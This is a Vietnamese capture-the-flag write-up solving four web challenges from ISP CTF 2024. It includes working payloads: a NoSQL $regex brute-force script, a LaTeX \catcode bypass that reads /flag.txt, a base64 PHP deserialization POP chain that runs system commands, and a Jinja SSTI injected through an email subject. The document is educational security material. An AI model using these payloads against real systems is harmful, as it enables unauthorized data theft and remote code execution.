# ISP CTF 2024 ## Web challenges ![image-1](https://hackmd.io/_uploads/rkxW0O0Aa.png) May mắn là team mình clear được hết các bài web ### WARMUP ![image-2](https://hackmd.io/_uploads/HyL9mt0C6.png) Đầu tiên cần đăng ký cho mình một tài khoản Tiếp theo là tạo thử 1 post xem sao ![image-3](https://hackmd.io/_uploads/ByXjmFRC6.png) ![image-4](https://hackmd.io/_uploads/HJUoXKRCa.png) Có vẻ như phàn `content` dính **XSS** Còn thêm có nút `Report to admin` nữa nên ban đầu mình đã đi theo hướng steal cookie Sau một hồi làm không được thì mình nhìn lại đề, `Flag nằm ở post của admin` và nhìn lên url thì thấy khả năng cao là dính **IDOR** url: `http://159.223.41.73:8087/posts/view/admin` ![image-6](https://hackmd.io/_uploads/B1Cj7FRAT.png) Flag: ~~**ISPCTF{131593365355344022914563712420631936324}**~~ ### WEB1 ![image](https://hackmd.io/_uploads/SkjkEFCC6.png) Đề có cho source, vô ngó thử Trong file `init_users.js` có đoạn ```js= db.users.insert({ username: "AlienAdmin", password: "fakepassword", admin: true, session: FLAG, }); ``` flag nằm trong `session` của **AlienAdmin** Mình có login với 1 account bất kì trong file `init_users.js` ![image-1](https://hackmd.io/_uploads/BJdg4Y0R6.png) Nhưng khi reload lại trang thì ![image-2](https://hackmd.io/_uploads/ryje4KARp.png) Có vẻ như đây sẽ là dấu hiệu nhận biết được là login thành công hay thất bại Sau khi login xong nó sẽ set luôn cookie ![image-3](https://hackmd.io/_uploads/rJQW4KR0a.png) Để ý thì có đoạn code ```js= router.get('/', (req, res) => { var session = res.cookies.get("session"); if (session) { session = JSON.parse(session); var token = session.token return User.find({ session: token }).then((user) => { if (user.length == 1) { return res.render('dashboard'); } return res.render('index'); }) .catch((e) => { res.json({ message: 'Hm server errored'}); }); } return res.render('index'); }); ``` Nó sẽ tiến hành parse json từ cookie và lấy token đi tìm trong database Tổng hợp lại như sau: - flag nằm trong session của **admin** - web sử dụng mongodb để truy vấn session Vậy khả năng cao nó dính `Nosql injection` Phải kiếm tra mới biết được Mình lấy 2 ký tự đầu tiên trong session **zbkWxcyqRMVuWGnYhzjTfinPe5bYht** của thằng `jumpyWidgeon1` và dùng `$regex` để kiểm tra xem session có bắt đầu bằng **zb** không ![image-4](https://hackmd.io/_uploads/SkvQEtRRT.png) Ú là la Vì flag có dạng `ISPCTF{}` nên mình sẽ tiến hành brute force session của **admin** luôn script: ```py= import requests import string # chars = string.ascii_letters + '_`0123456789~!@#%^&()_:"<>,./;|\\*' chars = "0123456789{}" url = "http://159.223.41.73:8088/" leaked_flag = list("ISPCTF{") while True: if "}" in leaked_flag: break for char in chars: print(f"trying {''.join(leaked_flag) + char}") cookie = { "session":'{"token":{"$regex":"^%s"},"username":"obsessedCaviar2"}' % ("".join(leaked_flag) + char) } res = requests.get(url, cookies=cookie) if (len(res.text) == 390): leaked_flag.append(char) break ``` Vì flag toàn số nên mình sẽ chỉ brute force số thôi ![image-6](https://hackmd.io/_uploads/SyrM4tACp.png) Không hiểu sao đến `ISPCTF{419923525501421656985029160590849617999` thì không thể brute tiếp được nữa, nhớ lại thì bài **WARMUP** bên trong flag chỉ có 39 số nên mình mạnh dạng submit luôn (Đúng luôn nhé ^^) Flag: ~~**ISPCTF{419923525501421656985029160590849617999}**~~ ### WEB2 ![image](https://hackmd.io/_uploads/r1fUVKCCT.png) ![image-1](https://hackmd.io/_uploads/SyEU4K0Aa.png) ```go blacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein", "usepackage", "fileline", "verbatiminput", "url", "href", "text", "write", "newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics", "openout", "newcommand", "expandafter", "csname", "endcsname", "^^"} ``` Bài này filter 99% payload có mặt trên thị trường Để ý thì trừ thằng `\input` ra thì các thằng khác không có dấu `\` Mà syntax của Latex thì phải có `\` đằng trước Ý tưởng là mình sẽ dùng `\input{/flag.txt}`, để dùng được thì cần phải tách `\` và `input` Mình thấy có `\catcode` đổi ký tự thành mã phân loại ![image-2](https://hackmd.io/_uploads/SyKdEYRRp.png) Vậy `\` = ```\catcode`\!=0``` Ta được payload như sau: ```latex \documentclass[12pt]{article} \begin{document} \catcode`\!=0 !input{/flag.txt} \end{document} ``` ![image-4](https://hackmd.io/_uploads/BJJtVYACp.png) Flag: ~~**ISPCTF{269164474955720048503108942079437084926}**~~ ### WEB3 ![image-1](https://hackmd.io/_uploads/S1bnNFCCa.png) Bài có cho source, vô ngó tí Để ý trong file `index.php` có ```php if (isset($_COOKIE['cookie'])) { $cookie = base64_decode($_COOKIE['cookie']); unserialize($cookie); } ``` Vậy khả năng cao nó liên quan đến dạng bài **Insecure Deserialization** Trong folder `src` có 3 folder nhỏ là `GadgetOne`, `GadgetTwo`, `GadgetThree` Rồi xong, vậy nó là dạng **PHP Pop Chain** Mình chưa làm dạng này lần nào, vừa research vừa làm nên hơi lâu source của từng file như sau: ```php= <?php namespace GadgetOne { class Adders { private $x; function __construct($x) { $this->x = $x; } function get_x() { return $this->x; } } } ``` ```php= <?php namespace GadgetTwo { class Echoers { protected $klass; function __destruct() { echo $this->klass->get_x(); } } } ``` ```php= <?php namespace GadgetThree { class Vuln { public $waf1; protected $waf2; private $waf3; public $cmd; function __toString() { if (!($this->waf1 === 1)) { die("not x"); } if (!($this->waf2 === "\xde\xad\xbe\xef")) { die("not y"); } if (!($this->waf3) === false) { die("not z"); } eval($this->cmd); } } } ``` Nhiệm vụ của mình là làm cho hàm `eval` thực thi là thành công Để `eval` thực thi được thì `__toString()` phải được gọi Và hiển nhiên để gọi `__toString()` thì cần phải được gọi như 1 chuỗi bởi `echo`, `print()`,... Vậy tóm lại là mình phải `echo` thằng `Vuln()` Để ý trong class `Echoers` có hàm `echo` và gọi đến hàm `get_x()` của class `Adders` Ý tưởng của mình là cho chạy dòng code `echo Vuln()` thì `$this->klass->get_x()` phải là `Vuln()` Để `$this->klass->get_x()` là `Vuln()` thì `get_x()` phải return về `Vuln()` Mình sẽ tạo script như sau: ```php <?php namespace GadgetThree { class Vuln { public $waf1 = 1; public $waf2 = "\xde\xad\xbe\xef"; public $waf3 = false; public $cmd = "system('cat /flag.txt');"; } } namespace GadgetOne { class Adders { public $x; function __construct($x) { $this->x = $x; } } } namespace GadgetTwo { class Echoers { public $klass; function __construct($klass) { $this->klass = $klass; } } } namespace { $vuln = new GadgetThree\Vuln(); $adders = new GadgetOne\Adders($vuln); $echoers = new GadgetTwo\Echoers($adders); echo $payload = base64_encode(serialize($echoers)); } ``` payload: `TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6NToia2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MToieCI7TzoxNjoiR2FkZ2V0VGhyZWVcVnVsbiI6NDp7czo0OiJ3YWYxIjtpOjE7czo0OiJ3YWYyIjtzOjQ6It6tvu8iO3M6NDoid2FmMyI7YjowO3M6MzoiY21kIjtzOjI0OiJzeXN0ZW0oJ2NhdCAvZmxhZy50eHQnKTsiO319fQ==` ![image-2](https://hackmd.io/_uploads/ryepEtRRT.png) Flag: ~~**ISPCTF{176538487084431558107684726698761072032}**~~ ### WEB4 ![image](https://hackmd.io/_uploads/SyB9IFAAp.png) ![image-1](https://hackmd.io/_uploads/BJDc8t0Ca.png) Lúc đầu nhìn source khá là bối rối, mình đoán nó dính **SSTI** nhưng không tìm thấy chỗ để inject Thấy import thư viện khá lạ nên mình research thì biết được rằng web dùng giao thức SMTP (Simple Mail Transfer Protocol) Vậy khả năng cao là mình phải gửi mail qua giao thức này Mình có tìm được script để gửi mail: ```py= import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Thông tin SMTP Server smtp_server = '157.245.192.100' smtp_port = 8025 # Thông tin người gửi và người nhận from_email = 'sender@example.com' to_email = 'aqoyvprapnfe@f8308503a903' # Tạo message message = MIMEMultipart() message['From'] = from_email message['To'] = to_email message['Subject'] = "Just test email" # Nội dung email body = 'This is a test email sent from Python.' message.attach(MIMEText(body, 'plain')) # Gửi email try: server = smtplib.SMTP(smtp_server, smtp_port) server.sendmail(from_email, to_email, message.as_string()) print('Email sent successfully!') server.quit() except Exception as e: print(f'Error: {e}') ``` ![image-2](https://hackmd.io/_uploads/BkOsUKAC6.png) Ú là la, giờ chỉ cần tìm chõ để inject là được Sau một hồi mò thì để ý có dòng ```py m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER") ``` ```py def esc(s: str): return "{% raw %}" + s + "{% endraw %}" ``` `esc(envelope.content.decode())` tức là nội dung của email sẽ đi qua hàm `esc()` và tất nhiên nội dung email có thể kiểm soát Cặp `{% raw %} {% endraw %}` dùng để định nghĩa nội dung bên trong không được xử lý template tức là `{{7*7}}` vẫn là `{{7*7}}` Ý tưởng của mình là sẽ thoát khỏi cặp `{% raw %} {% endraw %}` giống cách của **XSS** `message['Subject'] = "{% endraw %}{{ 7*7 }}{% raw %}"` ![image-3](https://hackmd.io/_uploads/By9dPYR06.png) Ú là la, giờ đi đọc flag thôi ``message['Subject'] = "{% endraw %}{{ cycler.__init__.__globals__.os.popen('cat flag*').read() }}{% raw %}"`` ![image-4](https://hackmd.io/_uploads/HyJFPKCAp.png) Flag: ~~**ISPCTF{176451926244603487426850511571301978365}**~~